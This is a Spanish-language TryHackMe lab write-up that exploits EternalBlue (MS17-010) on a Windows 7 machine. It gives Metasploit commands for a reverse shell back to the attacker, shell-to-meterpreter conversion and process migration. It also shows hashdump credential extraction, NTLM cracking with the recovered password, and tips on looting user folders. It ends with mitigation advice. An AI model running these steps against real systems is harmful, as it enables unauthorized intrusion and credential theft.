Blue - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Blue - TryHackMe Walkthrough
Bienvenido a mi writeup de la máquina Blue de TryHackMe. Esta es una room con formato walkthrough, lo que significa que nos guía paso a paso a través de la explotación. El objetivo es comprometer un sistema Windows 7 vulnerable a EternalBlue (MS17-010), uno de los exploits más famosos filtrados por The Shadow Brokers en 2017.
Room: Blue
Dificultad: Easy
Objetivo: Explotar EternalBlue y capturar 3 flags
Tiempo estimado: 1 hora
Esta máquina es perfecta para familiarizarse con Metasploit Framework y entender cómo funcionan las vulnerabilidades críticas en Windows.
🎯 Información del Objetivo
IP Target: 10.10.201.168
🔍 Fase 1: Reconocimiento (RECON)
Escaneo Inicial de Puertos
El primer paso en cualquier evaluación es identificar los servicios expuestos en el objetivo.
Task: Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
Ejecuto un escaneo con nmap para identificar servicios y versiones:
nmap -sV -sC 10.10.201.168
Observaciones importantes:
- Múltiples puertos abiertos relacionados con servicios de Windows
- Puerto 135 (MSRPC)
- Puerto 139 (NetBIOS)
- Puerto 445 (SMB) ← Este es nuestro objetivo
- Sistema operativo: Windows 7 Professional 7601 Service Pack 1
Conteo de Puertos
Task: How many ports are open with a port number under 1000?
Analizando el resultado del escaneo, identifico 3 puertos abiertos por debajo del puerto 1000:
- 135 - MSRPC
- 139 - NetBIOS-SSN
- 445 - Microsoft-DS (SMB)
Respuesta: 3
Identificación de Vulnerabilidades
Task: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
Ahora que sé que el puerto 445 (SMB) está abierto, voy a ejecutar scripts de detección de vulnerabilidades específicos de nmap:
nmap 10.10.201.168 -p445 --script=vuln
Oh yeah ddy 🎯 El sistema es vulnerable a MS17-010 (EternalBlue).
¿Qué es EternalBlue?
EternalBlue es un exploit desarrollado por la NSA que aprovecha una vulnerabilidad crítica en el protocolo SMBv1 de Windows. Fue filtrado por el grupo The Shadow Brokers en abril de 2017 y posteriormente utilizado en ataques masivos como:
- WannaCry (Mayo 2017)
- NotPetya (Junio 2017)
Esta vulnerabilidad permite:
- ✅ Ejecución remota de código (RCE)
- ✅ Acceso de sistema (NT AUTHORITY\SYSTEM)
- ✅ Sin necesidad de autenticación
Respuesta: ms17-010
💡 Dato histórico: Microsoft lanzó el parche MS17-010 en marzo de 2017, pero muchos sistemas no fueron actualizados, lo que permitió que WannaCry infectara más de 200,000 equipos en 150 países.
🚀 Fase 2: Obtención de Acceso (GAIN ACCESS)
Iniciar Metasploit Framework
Task: Start Metasploit
Arranco Metasploit Framework desde la terminal:
msfconsole📝 Nota: Asegúrate de que el servicio PostgreSQL esté activo antes de iniciar Metasploit. Puedes verificarlo con
service postgresql statuso iniciarlo conservice postgresql start.
Búsqueda del Exploit
Task: Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)
Dentro de Metasploit, busco el exploit de EternalBlue:
search ms17-010El módulo que necesitamos es:
exploit/windows/smb/ms17_010_eternalblue
Para seleccionarlo, ejecuto:
use exploit/windows/smb/ms17_010_eternalblueRespuesta: exploit/windows/smb/ms17_010_eternalblue
Configuración del Exploit
Task: Show options and set the one required value. What is the name of this value? (All caps for submission)
Verifico las opciones del exploit:
show options
Identifico que el valor requerido que no está configurado es RHOSTS (Remote Hosts), que especifica la dirección IP del objetivo.
Configuro los parámetros necesarios:
set RHOSTS 10.10.201.168
set LHOST 10.8.63.221- RHOSTS: IP del objetivo (victim)
- LHOST: Tu IP (attacker)
Respuesta: RHOSTS
Configuración del Payload
Task: Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter: set payload windows/x64/shell/reverse_tcp
Este comando configura el payload que vamos a inyectar en el sistema objetivo. Un reverse shell hace que la máquina víctima se conecte de vuelta a nosotros.
set payload windows/x64/shell/reverse_tcpDiferencia entre payloads:
windows/x64/shell/reverse_tcp→ Shell simple de Windowswindows/x64/meterpreter/reverse_tcp→ Meterpreter (más funcionalidades)
Ejecución del Exploit
Task: With that done, run the exploit!
Con todo configurado correctamente, lanzo el exploit:
runO alternativamente:
exploit
Verificación del Acceso
Task: Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
Perfecto. 🎉 Hemos obtenido una shell en el sistema objetivo.
Para verificar, puedo ejecutar comandos básicos de Windows:
whoami
hostnameAhora pongo la sesión en segundo plano con CTRL + Z para poder trabajar con otros módulos de Metasploit.
⬆️ Fase 3: Escalada de Privilegios (ESCALATE)
Conversión a Meterpreter
Task: If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)
Una shell de Windows básica es funcional, pero Meterpreter ofrece muchas más capacidades:
- Captura de pantallas
- Keyloggers
- Dump de credenciales
- Pivoting
- Y mucho más
Investigando en la documentación de Metasploit, encuentro el módulo para convertir una shell a Meterpreter:
post/multi/manage/shell_to_meterpreter
Respuesta: post/multi/manage/shell_to_meterpreter
Configuración del Módulo de Conversión
Task: Select this (use MODULE_PATH). Show options, what option are we required to change?
Selecciono el módulo:
use post/multi/manage/shell_to_meterpreterVerifico las opciones:
show optionsEl parámetro que necesito configurar es SESSION, que indica qué sesión activa quiero convertir.
Respuesta: SESSION
Listado de Sesiones Activas
Task: Set the required option, you may need to list all of the sessions to find your target here.
Primero listo las sesiones activas:
sessions -l
Veo que tengo una sesión con ID 1 (la shell que obtuvimos con EternalBlue).
Configuro el parámetro:
set SESSION 1Ejecución de la Conversión
Task: Run! If this doesn't work, try completing the exploit from the previous task once more.
Ejecuto el módulo:
run
¡Perfecto! La conversión se ha completado exitosamente. Ahora tenemos una meterpreter shell.
Selección de la Sesión Meterpreter
Task: Once the meterpreter shell conversion completes, select that session for use.
Listo las sesiones nuevamente:
sessions -lAhora veo que tengo una nueva sesión de tipo meterpreter. Para interactuar con ella:
sessions -i 2
Verificación de Privilegios
Task: Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.
Verifico mi nivel de privilegios actual:
getuid
Ddy, tengo privilegios de NT AUTHORITY\SYSTEM, el nivel más alto en Windows.
Para confirmarlo también desde una shell tradicional hago:
shell
whoami
exit
Migración de Procesos
Task: List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).
Listo todos los procesos en ejecución:
ps
Identifico el proceso smss.exe con PID 416, que corre como NT AUTHORITY\SYSTEM.
Task: Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.
La migración de procesos es útil para:
- Mayor estabilidad de la sesión
- Persistencia
- Evasión de detección
migrate 416⚠️ Advertencia: La migración de procesos puede ser inestable. Si falla, intenta con otro proceso o reinicia el exploit. En mi caso, el proceso falló pero no es crítico para continuar con las siguientes fases.
🔓 Fase 4: Cracking de Contraseñas (CRACKING)
Main Task: Dump the non-default user's password and crack it!
Extracción de Hashes
Task: Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
Ahora que tengo privilegios de SYSTEM, puedo extraer los hashes de contraseñas almacenados en el sistema:
hashdumpResultado:

Los usuarios del sistema son:
- Administrator (cuenta por defecto)
- Guest (cuenta por defecto)
- Jon (cuenta de usuario no por defecto)
Respuesta: Jon
¿Qué es hashdump?
El comando hashdump extrae los hashes NTLM de las contraseñas almacenadas en el registro de Windows (específicamente en SAM - Security Account Manager). El formato es:
username:RID:LM_hash:NTLM_hash:::
- RID: Relative Identifier (ID del usuario)
- LM_hash: Hash LAN Manager (obsoleto)
- NTLM_hash: Hash NT LAN Manager (actual)
Cracking del Hash
Task: Copy this password hash to a file and research how to crack it. What is the cracked password?
Tomo el hash NTLM de Jon:
ffb43f0de35be4d9917ac0cc8ad57f8d
Método 1: CrackStation (rápido)
Uso la web CrackStation.net para crackear el hash:

Resultado: alqfna22
Método 2: John the Ripper (offline)
Alternativamente, podría usar John the Ripper:
echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > hash.txt
john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txtMétodo 3: Hashcat (GPU)
O Hashcat para mayor velocidad:
hashcat -m 1000 ffb43f0de35be4d9917ac0cc8ad57f8d /usr/share/wordlists/rockyou.txt💡 Modo Hashcat:
-m 1000es el modo para hashes NTLM
Respuesta: alqfna22
🚩 Fase 5: Captura de Flags (FIND FLAGS!)
Main Task: Find the three flags planted on this machine. These are not traditional flags, rather, they're meant to represent key locations within the Windows system. Use the hints provided below to complete this room!
Las flags en esta máquina representan ubicaciones importantes en el sistema de archivos de Windows que un pentester debe conocer.
Flag 1: System Root
Task: Flag1? This flag can be found at the system root.
El "system root" en Windows es la raíz de la unidad del sistema, típicamente C:\
Desde Meterpreter, navego a la raíz:
cd C:\\
ls
cat flag1.txt
Ubicación: C:\flag1.txt
🚩 Flag 1 capturada!
Flag 2: Password Storage
Task: Flag2? This flag can be found at the location where passwords are stored within Windows.
Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.
Las contraseñas en Windows se almacenan en el registro SAM (Security Account Manager), ubicado en:
C:\Windows\System32\config
Esta carpeta también contiene archivos críticos del registro:
- SAM - Security Account Manager (hashes de contraseñas)
- SYSTEM - Configuración del sistema
- SOFTWARE - Configuración de aplicaciones
- SECURITY - Políticas de seguridad
Navego a esa ubicación:
cd C:\\Windows\\System32\\config
ls
cat flag2.txt
Ubicación: C:\Windows\System32\config\flag2.txt
🚩 Flag 2 capturada!
🔐 Dato de seguridad: Esta carpeta es de vital importancia para atacantes, ya que con acceso a los archivos SAM y SYSTEM se pueden extraer credenciales incluso sin estar en el sistema activo (mediante técnicas offline).
Flag 3: Administrator's Loot
Task: Flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.
Los administradores suelen guardar información sensible en sus carpetas personales, especialmente en:
- Desktop (Escritorio)
- Documents (Documentos)
- Downloads (Descargas)
Investigo el perfil del usuario Jon:
cd C:\\Users\\Jon
lsVeo que tiene las carpetas típicas de un usuario de Windows. Reviso Documents:
cd Documents
ls
cat flag3.txt
Ubicación: C:\Users\Jon\Documents\flag3.txt
🚩 Flag 3 capturada!
📂 Tip de pentesting: Las carpetas de usuario son excelentes lugares para encontrar:
- Credenciales guardadas en archivos de texto
- Llaves SSH privadas
- Configuraciones de aplicaciones con credenciales
- Información corporativa sensible
- Backups de bases de datos
📊 Resumen y Lecciones Aprendidas
Vectores de Ataque Utilizados
- ✅ Reconocimiento con Nmap - Identificación de servicios y versiones
- ✅ Detección de MS17-010 - Scripts de vulnerabilidad de Nmap
- ✅ Explotación con Metasploit - EternalBlue (MS17-010)
- ✅ Conversión a Meterpreter - Mayor funcionalidad post-explotación
- ✅ Extracción de credenciales - Hashdump con privilegios de SYSTEM
- ✅ Cracking de hashes - NTLM hash cracking
Vulnerabilidades Identificadas
| Vulnerabilidad | CVE | Severidad | Impacto |
|---|---|---|---|
| MS17-010 (EternalBlue) | CVE-2017-0144 | CRÍTICA | RCE sin autenticación |
| SMBv1 habilitado | N/A | ALTA | Vector de ataque |
| Contraseña débil | N/A | MEDIA | Fácilmente crackeable |
Recomendaciones de Mitigación
Para los administradores de sistemas Windows:
- 🔄 Actualizar inmediatamente - Instalar el parche MS17-010
- 🚫 Deshabilitar SMBv1 - Protocolo obsoleto e inseguro
- 🔐 Políticas de contraseñas robustas - Mínimo 12 caracteres, complejidad
- 🛡️ Segmentación de red - Restringir acceso SMB entre segmentos
- 📊 Monitoreo de tráfico SMB - Detectar actividad sospechosa
- 🔒 Deshabilitar cuentas no utilizadas - Reducir superficie de ataque
- 🔥 Firewall configurado - Bloquear puertos 445, 139 desde Internet
Herramientas Utilizadas
Nmap- Escaneo y detección de vulnerabilidadesMetasploit Framework- Explotación y post-explotaciónMeterpreter- Shell avanzada post-explotaciónCrackStation- Cracking de hashes onlineJohn the Ripper(alternativa) - Cracking offlineHashcat(alternativa) - Cracking con GPU
📚 Referencias
- TryHackMe - Blue
- Microsoft Security Bulletin MS17-010
- CVE-2017-0144 - EternalBlue
- Rapid7 - Metasploit EternalBlue Module
- WannaCry Attack Analysis
- The Shadow Brokers Leak
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.